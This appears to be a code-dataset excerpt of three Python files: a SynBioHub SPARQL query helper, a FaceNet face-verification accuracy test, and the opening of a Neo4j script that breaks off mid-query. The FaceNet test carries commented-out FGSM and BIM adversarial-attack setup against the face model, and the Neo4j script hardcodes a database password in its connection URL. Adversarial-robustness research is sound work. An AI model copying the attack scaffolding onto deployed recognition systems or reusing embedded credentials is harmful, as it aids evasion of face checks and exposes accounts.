'https://hub.sd2e.org/user/sd2e/experiment/rule_30/1'\n\tYEAST_GATES_EXPERIMENT_COLLECTION = 'https://hub.sd2e.org/user/sd2e/experiment/yeast_gates/1'\n\t\n\tLUDOX = 'https://hub.sd2e.org/user/sd2e/design/ludox_S40/1'\n\n\t# Flow ETL\n\t# Link from plan_uri\n\tFLOW_POSITIVE_CONTROL = 'http://sd2e.org#positive_control'\n\tFLOW_POSITIVE_CONTROL_CHANNEL_CONFIG = 'http://sd2e.org#positive_control_channel_config'\n\tFLOW_NEGATIVE_CONTROL = 'http://sd2e.org#negative_control'\n\tFLOW_BEAD_CONTROL = 'http://sd2e.org#bead_control'\n\n\tPLAN_PARAMETER_PREDICATES = {\n\t\tFLOW_POSITIVE_CONTROL,\n\t\tFLOW_POSITIVE_CONTROL_CHANNEL_CONFIG,\n\t\tFLOW_NEGATIVE_CONTROL,\n\t\tFLOW_BEAD_CONTROL\n\t}\n\n\t# Runtime parameters, link from sample_uri\n\tFLOW_BEAD_MODEL = 'http://sd2e.org#bead_model'\n\tFLOW_BEAD_BATCH = 'http://sd2e.org#bead_batch'\n\n\tSAMPLE_PARAMETER_PREDICATES = {\n\t\tFLOW_BEAD_MODEL,\n\t\tFLOW_BEAD_BATCH\n\t}\n\n\t# bandpass/longpass channel configuration\n\tCYTOMETER_CHANNEL_EW = 'http://sd2e.org#cytometer_channel_excitation_wavelength'\n\tCYTOMETER_CHANNEL_EM_FILTER_TYPE = 'http://sd2e.org#cytometer_channel_emission_filter_type'\n\tCYTOMETER_CHANNEL_EM_FILTER_CENTER = 'http://sd2e.org#cytometer_channel_emission_filter_center'\n\tCYTOMETER_CHANNEL_EM_FILTER_WIDTH = 'http://sd2e.org#cytometer_channel_emission_filter_width'\n\tCYTOMETER_CHANNEL_FILTER_CUTOFF = 'http://sd2e.org#cytometer_channel_emission_filter_cutoff'\n\n\t# PR ETL, link from plan_uri\n\tPR_LUDOX_CONTROL = 'http://sd2e.org#platereader_LUDOX_control'\n\tPR_WATER_CONTROL = 'http://sd2e.org#platereader_water_control'\n\tPR_FLUORESCEIN_CONTROL = 'http://sd2e.org#platereader_fluorescein_control'\n\n\tLOGIC_OPERATORS = [\n\t\t\"http://www.openmath.org/cd/logic1#not\",\n\t\t\"http://www.openmath.org/cd/logic1#or\",\n\t\t\"http://www.openmath.org/cd/logic1#xor\",\n\t\t\"http://www.openmath.org/cd/logic1#nor\",\n\t\t\"http://www.openmath.org/cd/logic1#xnor\",\n\t\t\"http://www.openmath.org/cd/logic1#and\",\n\t\t\"http://www.openmath.org/cd/logic1#nand\",\n\t\t\"http://www.openmath.org/cd/logic1#implies\"\n\t]\n\nclass SBHConstants():\n\tSD2_SERVER = \"http://hub-api.sd2e.org:80/sparql\"\n\tBBN_SERVER = \"https://synbiohub.bbn.com/\"\n\tBBN_YEASTGATES_COLLECTION = \"https://synbiohub.bbn.com/user/tramyn/BBN_YEAST_GATES/BBN_YEAST_GATES_collection/1\"\n\tBBN_RULE30_COLLECTION = 'https://synbiohub.bbn.com/user/tramyn/transcriptic_rule_30_q0_1_09242017/transcriptic_rule_30_q0_1_09242017_collection/1'\n\tRULE_30_EXPERIMENT_COLLECTION = 'https://hub.sd2e.org/user/sd2e/experiment/rule_30/1'\n\tYEAST_GATES_EXPERIMENT_COLLECTION = 'https://hub.sd2e.org/user/sd2e/experiment/yeast_gates/1'\n\tRULE_30_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/rule_30/1'\n\tYEAST_GATES_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/yeast_gates/1'\n\tSD2_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/design_collection/1'\n\tSD2_EXPERIMENT_COLLECTION = 'https://hub.sd2e.org/user/sd2e/experiment/experiment_collection/1'\n\nclass SBOLQuery():\n\t''' This class structures SPARQL queries for objects belonging to classes from the SBOL data model. \n\t\tAn instance of this class will allow a user to pull information on these objects from the specified instance of SynBioHub.\n\t'''\n\n\t# server: The SynBioHub server to call sparql queries on.\n\tdef __init__(self, server, use_fallback_cache=False):\n\t\tself._server = server\n\t\tself._use_fallback_cache = use_fallback_cache\n\n\t\t# If using fallback cache, wrap the fetch_SPARQL function\n\t\t# with cache storage/retrieval.\n\t\tif use_fallback_cache:\n\t\t\tself.fetch_SPARQL = wrap_query_fn(_fetch_SPARQL)\n\t\telse:\n\t\t\tself.fetch_SPARQL = _fetch_SPARQL\n\n\t# Constructs a partial SPARQL query for all collection members with \n\t# at least one of the specified types (or all of the specified types). \n\tdef construct_type_pattern(self, types, all_types=True, entity_label='entity', type_label='type'):\n\t\tif len(types) == 0:\n\t\t\treturn \"\"\n\t\telif all_types or len(types) == 1:\n\t\t\t\treturn \"?{el} sbol:type {ty} .\".format(ty=self.serialize_objects(types), el=entity_label)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?{tl}) {{ {ty} }}\n\t\t\t?{el} sbol:type ?{tl} .\n\t\t\t\"\"\".format(ty=self.serialize_options(types), el=entity_label, tl=type_label)\n\n\t# Constructs a partial SPARQL query for all collection members with \n\t# at least one of the specified roles. \n\tdef construct_role_pattern(self, roles, entity_label='entity', role_label='role'):\n\t\tif len(roles) == 0:\n\t\t\treturn \"\"\n\t\telif len(roles) == 1:\n\t\t\treturn \"?{el} sbol:role {ro} .\".format(ro=self.serialize_objects(roles), el=entity_label)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?{rl}) {{ {ro} }}\n\t\t\t?{el} sbol:role ?{rl} .\n\t\t\t\"\"\".format(ro=self.serialize_options(roles), el=entity_label, rl=role_label)\n\n\tdef construct_definition_pattern(self, definitions, entity_label='entity', sub_entity_label='sub_entity'):\n\t\tif len(definitions) == 0:\n\t\t\treturn \"\"\n\t\telif len(definitions) == 1:\n\t\t\treturn \"?{el} sbol:definition {sd} .\".format(el=entity_label, sd=self.serialize_objects(definitions))\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?{sel}) {{ {df} }}\n\t\t\t?{el} sbol:definition ?{sel} .\n\t\t\t\"\"\".format(el=entity_label, sel=sub_entity_label, df=self.serialize_options(definitions))\n\t\t\t\n\tdef construct_sub_pattern(self, sub_entity_pattern=\"\", definitions=[], entity_label='entity', sub_label='sub', sub_entity_label='sub_entity'):\n\t\tif len(definitions) > 0:\n\t\t\tdefinition_pattern = self.construct_definition_pattern(definitions, sub_label, sub_entity_label)\n\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?contains) {{ (sbol:component) (sbol:functionalComponent) (sbol:module) }}\n\t\t\t?{el} ?contains ?{sl} .\n\t\t\t{dp}\n\t\t\t\"\"\".format(el=entity_label, sl=sub_label, dp=definition_pattern)\n\t\telif len(sub_entity_pattern) > 0:\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?contains) {{ (sbol:component) (sbol:functionalComponent) (sbol:module) }}\n\t\t\t?{el} ?contains ?{sl} .\n\t\t\t?{sl} sbol:definition ?{sel} .\n\t\t\t{sep}\n\t\t\t\"\"\".format(el=entity_label, sl=sub_label, sel=sub_entity_label, sep=sub_entity_pattern)\n\t\telse:\n\t\t\treturn \"\"\n\n\tdef construct_name_pattern(self, entity_label='entity', is_optional=True):\n\t\tif is_optional:\n\t\t\treturn \"\"\"\n\t\t\tOPTIONAL {{\n\t\t\t\t?{el} dcterms:title ?name .\n\t\t\t}}\n\t\t\t\"\"\".format(el=entity_label)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\t?{el} dcterms:title ?name .\n\t\t\t\"\"\".format(el=entity_label)\n\n\tdef construct_description_pattern(self, entity_label='entity', is_optional=True):\n\t\tif is_optional:\n\t\t\treturn \"\"\"\n\t\t\tOPTIONAL {{\n\t\t\t\t?{el} dcterms:description ?description .\n\t\t\t}}\n\t\t\t\"\"\".format(el=entity_label)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\t?{el} dcterms:description ?description .\n\t\t\t\"\"\".format(el=entity_label)\n\n\tdef construct_sequence_pattern(self, entity_label='entity', is_optional=True):\n\t\tif is_optional:\n\t\t\treturn \"\"\"\n\t\t\tOPTIONAL {{\n\t\t\t\t?{el} sbol:sequence ?seq .\n\t\t\t\t?seq sbol:elements ?sequence .\n\t\t\t}}\n\t\t\t\"\"\".format(el=entity_label)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\t?{el} sbol:sequence ?seq .\n\t\t\t?seq sbol:elements ?sequence .\n\t\t\t\"\"\".format(el=entity_label)\n\n\tdef construct_rdf_type_pattern(self, rdf_type, entity_label='entity'):\n\t\treturn \"\"\"\n\t\t?{el} rdf:type <{rt}> .\n\t\t\"\"\".format(el=entity_label, rt=rdf_type)\n\n\tdef construct_entity_pattern(self, types=[], roles=[], all_types=True, sub_entity_pattern=\"\", definitions=[], entity_label='entity', other_entity_labels=[], type_label='type', role_label='role', sub_label='sub', sub_entity_label='sub_entity', rdf_type=None):\n\t\tif len(types) > 0 or len(roles) > 0 or len(sub_entity_pattern) > 0 or len(definitions) > 0 or rdf_type is not None:\n\t\t\ttype_pattern = self.construct_type_pattern(types, all_types, entity_label, type_label)\n\n\t\t\trole_pattern = self.construct_role_pattern(roles, entity_label, role_label)\n\n\t\t\tsub_pattern = self.construct_sub_pattern(sub_entity_pattern, definitions, entity_label, sub_label, sub_entity_label)\n\n\t\t\tif rdf_type is not None:\n\t\t\t\trdf_type_pattern = self.construct_rdf_type_pattern(rdf_type, entity_label)\n\t\t\telse:\n\t\t\t\trdf_type_pattern = \"\"\n\n\t\t\tif 'name' in other_entity_labels:\n\t\t\t\tname_pattern = self.construct_name_pattern(entity_label)\n\t\t\telse:\n\t\t\t\tname_pattern = \"\"\n\n\t\t\tif 'description' in other_entity_labels:\n\t\t\t\tdescription_pattern = self.construct_description_pattern(entity_label)\n\t\t\telse:\n\t\t\t\tdescription_pattern = \"\"\n\n\t\t\tif 'sequence' in other_entity_labels:\n\t\t\t\tsequence_pattern = self.construct_sequence_pattern(entity_label)\n\t\t\telse:\n\t\t\t\tsequence_pattern = \"\"\n\n\t\t\treturn \"\"\"\n\t\t\t{tp}\n\t\t\t{rp}\n\t\t\t{sp}\n\t\t\t{rt}\n\t\t\t{np}\n\t\t\t{dp}\n\t\t\t{qp}\n\t\t\t\"\"\".format(tp=type_pattern, rp=role_pattern, sp=sub_pattern, rt=rdf_type_pattern, np=name_pattern, dp=description_pattern, qp=sequence_pattern)\n\t\telse:\n\t\t\treturn \"\"\n\n\tdef construct_collection_pattern(self, collections=[], member_label='entity', members=[], member_cardinality='*', entity_label='entity', collection_label='collection'):\n\t\tmember_pattern_switcher = {\n\t\t\t'exp': self.construct_experiment_pattern\n\t\t}\n\n\t\ttry:\n\t\t\tconstruct_member_pattern = member_pattern_switcher[member_label]\n\n\t\t\tmember_pattern = construct_member_pattern(members, entity_label, member_cardinality)\n\t\texcept:\n\t\t\tmember_pattern = \"\"\n\n\t\tif len(collections) > 0:\n\t\t\tif len(members) > 0:\n\t\t\t\treturn \"\"\" \n\t\t\t\tVALUES (?{cl}) {{ {col} }}\n\t\t\t\tVALUES (?{ml}) {{ {mem} }} \n\t\t\t\t?{cl} sbol:member ?{ml} .\n\t\t\t\t{mp}\n\t\t\t\t\"\"\".format(col=self.serialize_options(collections), cl=collection_label, mem=self.serialize_options(members), ml=member_label, mp=member_pattern)\n\t\t\telse:\n\t\t\t\treturn \"\"\" \n\t\t\t\tVALUES (?{cl}) {{ {col} }}\n\t\t\t\t?{cl} sbol:member ?{ml} .\n\t\t\t\t{mp}\n\t\t\t\t\"\"\".format(col=self.serialize_options(collections), cl=collection_label, ml=member_label, mp=member_pattern)\n\t\telse:\n\t\t\tif len(members) > 0:\n\t\t\t\treturn \"\"\"\n\t\t\t\tVALUES (?{ml}) {{ {mem} }} \n\t\t\t\t?{cl} sbol:member ?{ml} .\n\t\t\t\t{mp}\n\t\t\t\t\"\"\".format(cl=collection_label, mem=self.serialize_options(members), ml=member_label, mp=member_pattern)\n\t\t\telse:\n\t\t\t\treturn \"\"\" \n\t\t\t\t?{cl} sbol:member ?{ml} .\n\t\t\t\t{mp}\n\t\t\t\t\"\"\".format(cl=collection_label, ml=member_label, mp=member_pattern)\n\n\tdef construct_experiment_pattern(self, experiments=[], entity_label='entity', sample_cardinality='*'):\n\t\tif len(sample_cardinality) > 0:\n\t\t\tderivation_path = 'prov:wasDerivedFrom{sc}/sbol:built'.format(sc=sample_cardinality)\n\t\telse:\n\t\t\tderivation_path = 'sbol:built'\n\n\t\tif len(experiments) == 0:\n\t\t\treturn \"\"\"\n\t\t\t?exp sd2:experimentalData ?data .\n\t\t\t?data prov:wasDerivedFrom ?sample .\n\t\t\t?sample {dp} ?{el} .\n\t\t\t\"\"\".format(el=entity_label, dp=derivation_path)\n\t\telif len(experiments) == 1:\n\t\t\treturn \"\"\"\n\t\t\t{exp} sd2:experimentalData ?data .\n\t\t\t?data prov:wasDerivedFrom ?sample .\n\t\t\t?sample {dp} ?{el} .\n\t\t\t\"\"\".format(exp=self.serialize_objects(experiments), el=entity_label, dp=derivation_path)\n\t\telse:\n\t\t\treturn \"\"\"\n\t\t\tVALUES (?exp) {{ {exp} }}\n\t\t\t?exp sd2:experimentalData ?data .\n\t\t\t?data prov:wasDerivedFrom ?sample .\n\t\t\t?sample {dp} ?{el} .\n\t\t\t\"\"\".format(exp=self.serialize_options(experiments), el=entity_label, dp=derivation_path)\n\n\t# Constructs a SPARQL query for all members of the specified collection with\n\t# at least one of the specified types (or all of the specified types) and\n\t# at least one of the specified roles.\n\tdef construct_collection_entity_query(self, collections, member_label='entity', types=[], roles=[], all_types=True, sub_types=[], sub_roles=[], definitions=[], all_sub_types=True, entity_label=None, other_entity_labels=[], members=[], member_cardinality='+', rdf_type=None, entity_depth=2):\n\t\ttarget_labels = []\n\t\tif len(collections) > 1 or len(collections) == 0:\n\t\t\ttarget_labels.append('collection')\n\n\t\tif entity_label is None:\n\t\t\tentity_label = member_label\n\n\t\tif len(other_entity_labels) > 0:\n\t\t\ttarget_labels.extend(other_entity_labels)\n\t\ttarget_labels.append(entity_label)\n\n\t\tsub_entity_pattern = self.construct_entity_pattern(types=sub_types, roles=sub_roles, all_types=all_sub_types, entity_label='sub_entity', type_label='sub_type', role_label='sub_role')\n\t\tentity_pattern_1 = self.construct_entity_pattern(types, roles, all_types, sub_entity_pattern, definitions, entity_label, other_entity_labels, rdf_type=rdf_type)\n\t\tcollection_pattern_1 = self.construct_collection_pattern(collections, member_label, members, member_cardinality, entity_label)\n\t\t\n\t\tif entity_depth == 1:\n\t\t\treturn \"\"\"\n\t\t\tPREFIX rdf: \n\t\t\tPREFIX sbol: \n\t\t\tPREFIX sd2: \n\t\t\tPREFIX prov: \n\t\t\tPREFIX dcterms: \n\t\t\tSELECT DISTINCT ?{tl} WHERE {{\n\t\t\t\t{cp1}\n\t\t\t\t{ep1}\n\t\t\t}}\n\t\t\t\"\"\".format(tl=' ?'.join(target_labels), cp1=collection_pattern_1, ep1=entity_pattern_1)\n\t\telif entity_depth == 2:\n\t\t\tsub_sub_entity_pattern = self.construct_entity_pattern(types=sub_types, roles=sub_roles, all_types=all_sub_types, entity_label='sub_entity', type_label='sub_type', role_label='sub_role')\n\t\t\tsub_entity_pattern = self.construct_entity_pattern(types, roles, all_types, sub_sub_entity_pattern, definitions, entity_label, other_entity_labels, rdf_type=rdf_type)\n\t\t\tentity_pattern_2 = self.construct_entity_pattern(sub_entity_pattern=sub_entity_pattern, sub_label='sub_prime', sub_entity_label=entity_label)\n\n\t\t\tcollection_pattern_2 = self.construct_collection_pattern(collections, member_label, members, member_cardinality)\n\n\t\t\treturn \"\"\"\n\t\t\tPREFIX rdf: \n\t\t\tPREFIX sbol: \n\t\t\tPREFIX sd2: \n\t\t\tPREFIX prov: \n\t\t\tPREFIX dcterms: \n\t\t\tSELECT DISTINCT ?{tl} WHERE {{ {{\n\t\t\t\t{cp1}\n\t\t\t\t{ep1}\n\t\t\t}} UNION {{\n\t\t\t\t{cp2}\n\t\t\t\t{ep2}\n\t\t\t}} }}\n\t\t\t\"\"\".format(tl=' ?'.join(target_labels), cp1=collection_pattern_1, cp2=collection_pattern_2, ep1=entity_pattern_1, ep2=entity_pattern_2)\n\t\telse:\n\t\t\treturn \"\"\n\n\tdef __format_binding(self, binding, binding_keys):\n\t\tif len(binding_keys) > 1:\n\t\t\tformatted = {}\n\t\t\tfor binding_key in binding_keys:\n\t\t\t\ttry:\n\t\t\t\t\tformatted[binding_key] = binding[binding_key]['value']\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\n\t\t\treturn formatted\n\t\telse:\n\t\t\treturn binding[binding_keys[0]]['value']\n\n\tdef format_query_result(self, query_result, binding_keys, group_key=None):\n\t\tif group_key is None:\n\t\t\tformatted = []\n\n\t\t\tfor binding in query_result['results']['bindings']:\n\t\t\t\tformatted.append(self.__format_binding(binding, binding_keys))\n\t\t\t\n\t\t\treturn formatted\n\t\telse:\n\t\t\tformatted = {}\n\n\t\t\tfor binding in query_result['results']['bindings']:\n\t\t\t\tgroup_value = binding[group_key]['value']\n\n\t\t\t\tif group_value not in formatted:\n\t\t\t\t\tformatted[group_value] = []\n\n\t\t\tfor binding in query_result['results']['bindings']:\n\t\t\t\tgroup_value = binding[group_key]['value']\n\n\t\t\t\tformatted[group_value].append(self.__format_binding(binding, binding_keys))\n\n\t\t\treturn formatted\n\n\tdef query_experiment_components(self, types, collections=[], comp_label='comp', other_comp_labels=[], trace_derivation=True, roles=[], all_types=True, sub_types=[], sub_roles=[], definitions=[], all_sub_types=True, experiments=[]):\n\t\tif trace_derivation:\n\t\t\tsample_cardinality = '*'\n\t\telse:\n\t\t\tsample_cardinality = ''\n\n\t\tcomp_query = self.construct_collection_entity_query(collections, 'exp', types, roles, all_types, sub_types, sub_roles, definitions, all_sub_types, comp_label, other_comp_labels, experiments, sample_cardinality)\n\n\t\treturn self.fetch_SPARQL(self._server, comp_query)\n\n\tdef query_experiment_modules(self, roles, collections=[], mod_label='mod', other_mod_labels=[], trace_derivation=True, sub_types=[], sub_roles=[], definitions=[], all_sub_types=True, experiments=[]):\n\t\tif trace_derivation:\n\t\t\tsample_cardinality = '*'\n\t\telse:\n\t\t\tsample_cardinality = ''\n\n\t\tmod_query = self.construct_collection_entity_query(collections, 'exp', roles=roles, sub_types=sub_types, sub_roles=sub_roles, definitions=definitions, all_sub_types=all_sub_types, entity_label=mod_label, other_entity_labels=other_mod_labels, members=experiments, member_cardinality=sample_cardinality)\n\n\t\treturn self.fetch_SPARQL(self._server, mod_query)\n\n\t# Retrieves from the specified collection of design elements the URIs for all ComponentDefinitions with \n\t# at least one of the specified types (or all of the specified types) and at least one of the specified roles \n\t# This collection is typically associated with a challenge problem.\n\tdef query_design_components(self, types, collections=[], comp_label='comp', other_comp_labels=[], roles=[], all_types=True, sub_types=[], sub_roles=[], definitions=[], all_sub_types=True):\n\t\tcomp_query = self.construct_collection_entity_query(collections, comp_label, types, roles, all_types, sub_types, sub_roles, definitions, all_sub_types, other_entity_labels=other_comp_labels)\n\n\t\treturn self.fetch_SPARQL(self._server, comp_query)\n\n\t# Retrieves from the specified collection of design elements the URIs for all ModuleDefinitions with \n\t# at least one of the specified roles and that contain a FunctionalComponent or Module with \n\t# at least one of the specified sub-types (or all of the specified sub-types) and with \n\t# at least one of the specified roles.\n\t# This collection is typically associated with a challenge problem.\n\tdef query_design_modules(self, roles, collections=[], mod_label='mod', other_mod_labels=[], sub_types=[], sub_roles=[], definitions=[], all_sub_types=True):\n\t\tmod_query = self.construct_collection_entity_query(collections, mod_label, roles=roles, sub_types=sub_types, sub_roles=sub_roles, definitions=definitions, all_sub_types=all_sub_types, other_entity_labels=other_mod_labels)\n\n\t\treturn self.fetch_SPARQL(self._server, mod_query)\n\n\tdef query_collection_members(self, collections=[], members=[], rdf_type=None):\n\t\tmem_query = self.construct_collection_entity_query(collections=collections, members=members, rdf_type=rdf_type, entity_depth=1)\n\n\t\treturn self.fetch_SPARQL(self._server, mem_query)\n\n\tdef serialize_options(self, options):\n\t\tserial_options = []\n\t\tfor opt in options:\n\t\t\tserial_options.append(''.join(['( <', opt, '> ) ']))\n\n\t\treturn ''.join(serial_options)[:-1]\n\n\tdef serialize_objects(self, objects):\n\t\tserial_objects = []\n\t\tfor obj in objects:\n\t\t\tserial_objects.append(''.join(['<', obj, '>, ']))\n\n\t\treturn ''.join(serial_objects)[:-2]\t\t\n\ndef loadSBOLFile(sbolFile):\n\tsbolDoc = Document()\n\tsbolDoc.read(sbolFile)\n\treturn sbolDoc\n\ndef login_SBH(server):\n\tsbh_connector = PartShop(server)\n\tsbh_user = input('Enter SynBioHub Username: ')\n\tsbh_connector.login(sbh_user, getpass.getpass(prompt='Enter SynBioHub Password: ', stream=sys.stderr))\n\treturn sbh_connector","sub_path":"synbiohub_adapter/SynBioHubUtil.py","file_name":"SynBioHubUtil.py","file_ext":"py","file_size_in_byte":20165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"468236942","text":"# -*- coding: utf-8 -*-\n# @Time : 19-12-29 上午11:02\n# @Author : 范伟琦\n# @Software: PyCharm\n# @FileName: facenet_test_2.py\n#!usr/bin/python\n# -*- coding: utf-8 -*-\nimport facenet\nimport tensorflow as tf\nimport numpy as np\nimport os, math\nimport tensorflow.contrib.slim as slim\n# from networks import sphere_network as network\nfrom scipy.misc import imsave\nfrom cleverhans.model import Model\n# from cleverhans.attacks import FastGradientMethod\nimage_size = 160\nimport set_loader\nimport importlib\nfrom scipy import misc\nweight_decay = 0.0\nkeep_probability = 1.0\nembedding_size = 128\nRANDOM_ROTATE = 1\nRANDOM_CROP = 2\nRANDOM_FLIP = 4\nFIXED_STANDARDIZATION = 8\nFLIP = 16\nbatch_size = 10\n\ndef save_img(images, filepaths, output_dir):\n\n for i, filepath in enumerate(filepaths):\n filename = os.path.basename(filepath)\n with tf.gfile.Open(os.path.join(output_dir, filename), 'w') as f:\n img = (images[i, :, :, :] * 255.0).astype(np.uint8)\n imsave(f, img, format='PNG')\n\n\nclass InceptionResnetV1Model(Model):\n # model_path = \"/home/fan/facenet_adversarial_faces/models/facenet/20170512-110547/20170512-110547.pb\"\n\n def __init__(self):\n super(InceptionResnetV1Model, self).__init__()\n self.t_image = tf.placeholder('float32', [batch_size, 160, 160, 3], name='t_image_input_to_SRGAN_generator')\n self.t_target_image = tf.placeholder('float32', [batch_size, 160, 160, 3], name='t_target_image')\n image_batch1 = tf.identity(self.t_image, 'input')\n image_batch2 = tf.identity(self.t_target_image, 'input')\n # Load Facenet CNN\n # facenet.load_model(self.model_path)\n # model_def = 'inception_resnet_v1_new'\n # network = importlib.import_module(model_def)\n # Save input and output tensors references\n model_def = 'inception_resnet_v1'\n network = importlib.import_module(model_def)\n # print('Building training graph')\n\n # Build the inference graph\n prelogits1, _ = network.inference(image_batch1, keep_probability,\n phase_train=False,\n bottleneck_layer_size=embedding_size,\n weight_decay=weight_decay, reuse=tf.AUTO_REUSE)\n prelogits2, _ = network.inference(image_batch2, keep_probability,\n phase_train=False,\n bottleneck_layer_size=embedding_size,\n weight_decay=weight_decay, reuse=tf.AUTO_REUSE)\n # graph = tf.get_default_graph()\n self.embeddings1 = tf.nn.l2_normalize(prelogits1, 1, 1e-10, name='embeddings')\n self.embeddings2 = tf.nn.l2_normalize(prelogits2, 1, 1e-10, name='embeddings')\n # self.face_input = graph.get_tensor_by_name(\"input:0\")\n # self.embedding_output = graph.get_tensor_by_name(\"embeddings:0\")\n # self.face_input = tf.placeholder(tf.int32, shape=[None, 160, 160, 3])\n # self.embedding_output = tf.placeholder(tf.float32, shape=(None, 128))\n\n def convert_to_classifier(self):\n # Create victim_embedding placeholder\n # self.victim_embedding_input = tf.placeholder(\n # tf.float32,\n # shape=(None, 128))\n\n # Squared Euclidean Distance between embeddings\n self.distance = tf.reduce_sum(\n tf.square(self.embeddings1 - self.embeddings2),\n axis=1)\n\n # Convert distance to a softmax vector\n # 0.99 out of 4 is the distance threshold for the Facenet CNN\n # threshold = 0.99\n threshold = 1.1\n score = tf.where(\n self.distance > threshold,\n 0.5 + ((self.distance - threshold) * 0.5) / (4.0 - threshold),\n 0.5 * self.distance / threshold)\n reverse_score = 1.0 - score\n self.softmax_output = tf.transpose(tf.stack([reverse_score, score]))\n\n # Save softmax layer\n self.layer_names = []\n self.layers = []\n self.layers.append(self.softmax_output)\n self.layer_names.append('probs')\n\n def fprop(self, x, set_ref=False):\n return dict(zip(self.layer_names, self.layers))\n\n#output_dir = '/home/fan/facenet_adversarial_faces/output1/'\n\nwith tf.Graph().as_default():\n with tf.Session() as sess:\n # embedding_output = tf.placeholder(tf.float32, shape=(None, 128))\n # Load model\n model = InceptionResnetV1Model()\n # Convert to classifier\n model.convert_to_classifier()\n # saver = tf.train.Saver(tf.global_variables(), max_to_keep=3)\n inception_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='InceptionResnetV1')\n # saver_inception_v3 = tf.train.Saver(slim.get_model_variables())\n saver = tf.train.Saver(inception_vars, max_to_keep=3)\n # face1 和 face2 可能是同人也可能不是同人,根据lables的值,True/[1,0]:同人;False/[0,1]表示非同人\n faces1, faces2, labels, filepaths1, filepaths2 = set_loader.load_construct_testset(1)\n # print(faces1)\n # print(faces2)\n pretrained_model = 'E:\\\\models\\\\facenet\\\\20170512-110547\\\\'\n if pretrained_model:\n print('Restoring pretrained model: %s' % pretrained_model)\n # facenet.load_model(pretrained_model)\n\n model_exp = os.path.expanduser(pretrained_model)\n print('Model directory: %s' % model_exp)\n _, ckpt_file = facenet.get_model_filenames(model_exp)\n\n # print('Metagraph file: %s' % meta_file)\n print('Checkpoint file: %s' % ckpt_file)\n saver.restore(sess, os.path.join(model_exp, ckpt_file))\n # Create victims' embeddings using Facenet itself\n # graph = tf.get_default_graph()\n # phase_train_placeholder = graph.get_tensor_by_name(\"phase_train:0\")\n # feed_dict = {model.face_input: faces2,\n # phase_train_placeholder: False}\n # # faces2 的 embeddings 值\n # victims_embeddings = sess.run(\n # model.embedding_output, feed_dict=feed_dict)\n\n # Define FGSM for the model\n #steps = 1\n #eps = 0.03\n #alpha = eps/steps\n #fgsm = FastGradientMethod(model)\n # fgsm_params = {'eps': alpha,\n # 'clip_min': 0.,\n # 'clip_max': 1.}\n #adv_x = fgsm.generate(model.face_input, **fgsm_params)\n # bim = BasicIterativeMethod(model)\n # # bim_params = {'eps_iter': 0.05,\n # # 'nb_iter': 10,\n # # 'clip_min': 0.,\n # # 'clip_max': 1.}\n # adv_x = bim.generate(model.face_input)\n #faces的embedding数值\n #adv = faces1\n # feed_dict = {model.face_input: faces1,\n # phase_train_placeholder: False}\n # faces1_embedding = sess.run(model.embedding_output, feed_dict=feed_dict)\n # print(adv)\n # dis0 = np.sum(np.square(faces1_embedding - victims_embeddings), axis=1)\n # # 保存图片\n # print(faces1_embedding)\n #save_img(adv, filepaths, output_dir)\n # output_dir = '/home/fan/su/remove_face/test_0.03/impersation_1/'\n # output_dir1 = '/home/fan/facenet_adversarial_faces/datasets/lfw_feitongren_reference/'\n # output_file = '/home/fan/facenet_adversarial_faces/adv_generate/test/0result_txt/pgd_result_resgn_f.txt'\n # Test accuracy of the model\n # batch_size = graph.get_tensor_by_name(\"batch_size:0\")\n num_examples = len(faces1)\n batch_number = int(math.ceil(num_examples / batch_size))\n accuracy_1 = 0\n accuracy_2 = 0\n accuracy_3 = 0\n accuracy_4 = 0\n accuracy_5 = 0\n for ibatch in range(batch_number):\n bstart = ibatch * batch_size\n bend = min(bstart + batch_size, num_examples)\n print('batch size: {}'.format(bend - bstart))\n\n faces1_batch = faces1[bstart:bend, :]\n faces2_batch = faces2[bstart:bend, :]\n labels_batch = labels[bstart:bend]\n feed_dict = {model.t_image: faces1_batch,\n model.t_target_image: faces2_batch}\n em1, em2, real_labels, distance_real = sess.run([model.embeddings1, model.embeddings2, model.softmax_output, model.distance], feed_dict=feed_dict)\n # np.savetxt(output_file, real_labels)\n # print(em1)\n # print(em2)\n same_faces_index = np.where((np.argmax(labels_batch, axis=-1) == 0))\n print(distance_real)\n # print(dis0)\n # print(real_labels)\n # path = []\n # path1 = []\n # for i in range(len(labels)):\n # if (np.argmax(labels[i], axis=-1)) != (np.argmax(real_labels[i], axis=-1)):\n # path.append(filepaths1[i])\n # path1.append(filepaths2[i])\n # # filepaths =\n # # print(filepaths)\n # # faces = misc.imread(path)\n # faces = facenet.load_data(path, False, False, image_size)\n # save_img(faces, path, output_dir)\n # faces1 = facenet.load_data(path1, False, False, image_size)\n # save_img(faces1, path1, output_dir1)\n accuracy = np.mean(\n (np.argmax(labels_batch[same_faces_index], axis=-1)) == (np.argmax(real_labels[same_faces_index], axis=-1))\n )\n print('Accuracy: ' + str(accuracy * 100) + '%')\n accuracy_1 += accuracy\n accuracy1_a = accuracy_1 / batch_number\n print('the total Accuracy: ' + str(accuracy1_a * 100) + '%')","sub_path":"test/facenet_test.py","file_name":"facenet_test.py","file_ext":"py","file_size_in_byte":9738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"34731149","text":"import csv, random, os\nimport django\nimport pandas as pd\nimport py2neo\nimport json\nimport requests\nfrom models import *\nfrom neomodel import (config, StructuredNode, StringProperty, IntegerProperty, UniqueIdProperty, RelationshipTo,\n RelationshipFrom,db)\nfrom py2neo import Graph, Node, Relationship\n\n# graph = Graph('http://localhost:11001/db/data')\nconfig.DATABASE_URL = 'bolt://neo4j:aishwarya@localhost:7687'\n\ndef friends_relation():\n query = \"MATCH (p1:User), (p2:User) WITH 